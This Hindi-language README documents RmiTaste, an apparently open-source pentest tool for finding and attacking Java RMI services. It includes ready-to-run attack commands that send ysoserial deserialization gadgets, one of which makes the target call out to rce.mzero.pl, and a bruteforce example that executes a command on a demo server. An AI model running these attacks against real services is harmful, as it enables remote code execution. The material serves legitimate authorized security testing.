
Java RMI सुरक्षा परीक्षण उपकरण जो असुरक्षित RMI सेवाओं का पता लगाने, उनकी गणना करने और उनका शोषण करने के लिए ysoserial डिसीरियलाइज़ेशन गैजेट्स का उपयोग करके रिमोट कोड निष्पादन प्राप्त करता है।
RmiTaste सुरक्षा पेशेवरों को ysoserial के गैजेट के साथ दूरस्थ विधियों को कॉल करके RMI सेवाओं का पता लगाने, गणना करने, बातचीत करने और हमला करने की अनुमति देता है। यह विशिष्ट पैरामीटर के साथ दूरस्थ विधि को कॉल करने की भी अनुमति देता है।
RmiTaste को सुरक्षा पेशेवरों की सहायता करने के लिए लिखा गया था, जिससे वे उन सिस्टमों पर असुरक्षित RMI सेवाओं की पहचान कर सकें, जिन पर उपयोगकर्ता के पास पहले से हमला करने की अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और RmiTaste का उपयोग सभी प्रासंगिक कानूनों के अनुसार किया जाना चाहिए। ऐसा करने में विफलता के परिणामस्वरूप आप पर मुकदमा चलाया जा सकता है। RmiTaste के डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
openjdk 11.0.3 की आवश्यकता है।
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
चेतावनी: RmiTaste को सुरक्षा पेशेवरों की सहायता करने के लिए लिखा गया था, जिससे वे उन सिस्टमों पर RMI सेवाओं के असुरक्षित उपयोग की पहचान कर सकें, जिन पर उपयोगकर्ता के पास पहले से हमला करने की अनुमति है। RmiTaste का उपयोग सभी प्रासंगिक कानूनों के अनुसार किया जाना चाहिए। ऐसा करने में विफलता के परिणामस्वरूप आप पर मुकदमा चलाया जा सकता है।
डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
RmiTaste में 4 मोड हैं: conn, enum, attack और call। प्रत्येक मोड के लिए अलग-अलग सहायता है।
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
-h, --help यह सहायता संदेश प्रदर्शित करें
Commands:
conn होस्ट से कनेक्शन की जांच करें
enum RMI सेवा की गणना करें
attack RMI रजिस्ट्री विधियों पर हमला करें
call RMI दूरस्थ ऑब्जेक्ट पर विशिष्ट विधि को कॉल करें
Conn मोड यह जांचने की अनुमति देता है कि पोर्ट RMI सेवा पोर्ट है या नहीं।
# जांचें कि 127.0.0.1:1099 RMI सेवा है या नहीं
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
Enum मोड RMI सेवा के बारे में जानकारी प्राप्त करने की अनुमति देता है जैसे: दूरस्थ ऑब्जेक्ट के नाम और क्लास के नाम जिन्हें दूरस्थ ऑब्जेक्ट लागू या विस्तारित करता है। यदि दूरस्थ ऑब्जेक्ट द्वारा लागू इंटरफ़ेस RmiTaste classpath में उपलब्ध है तो RmiTaste उन सभी दूरस्थ विधियों को प्रिंट करेगा जिन्हें आप इस दूरस्थ ऑब्जेक्ट पर कॉल कर सकते हैं।
# RMI सेवा गणना
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
Attack मोड ysoserial से विशिष्ट गैजेट श्रृंखला के साथ दूरस्थ विधि को कॉल करने की अनुमति देता है। मान लें कि दूरस्थ ऑब्जेक्ट में निम्नलिखित विधियां हैं:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# URLDNS गैजेट को पैरामीटर के रूप में उपयोग करके सभी दूरस्थ विधियों को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# URLDNS गैजेट को पैरामीटर के रूप में उपयोग करके acc1:m0.rmitaste.example.server.ClientAccount:deposit विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
विकल्प "-gen bruteforce" ysoserial के गैजेट के साथ दूरस्थ विधि को ब्रूट फोर्स करने की अनुमति देता है। इस उदाहरण में, deposit विधि को ysoserial के गैजेट के साथ कई बार कॉल किया जाएगा।
# ysoserial के गैजेट और कमांड ping 127.0.0.1 के साथ acc1:m0.rmitaste.example.server.ClientAccount:deposit विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
Call मोड RMI दूरस्थ ऑब्जेक्ट पर विशिष्ट विधि को कॉल करने की अनुमति देता है। मान लें कि दूरस्थ ऑब्जेक्ट में निम्नलिखित विधियां हैं:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# acc1 दूरस्थ ऑब्जेक्ट पर m0.rmitaste.example.server.ClientAccount.getBalance विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# acc1 दूरस्थ ऑब्जेक्ट पर m0.rmitaste.example.server.ClientAccount.setPin("1234") विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
डेमो सर्वर यहां उपलब्ध है।
डेमो सर्वर चलाएं।
लक्ष्य की गणना करें।
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
जैसा कि आप देख सकते हैं, RmiTaste को दूरस्थ ऑब्जेक्ट के इंटरफ़ेस की आवश्यकता है। पेनटेस्ट के दौरान आपको यह इंटरफ़ेस ढूंढना होगा। इस उदाहरण में, बस rmitaste.examples-1.0-SNAPSHOT-all.jar को libs_attack निर्देशिका में कॉपी करें। लक्ष्य की फिर से गणना करें:
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
Twitter: @_mzer0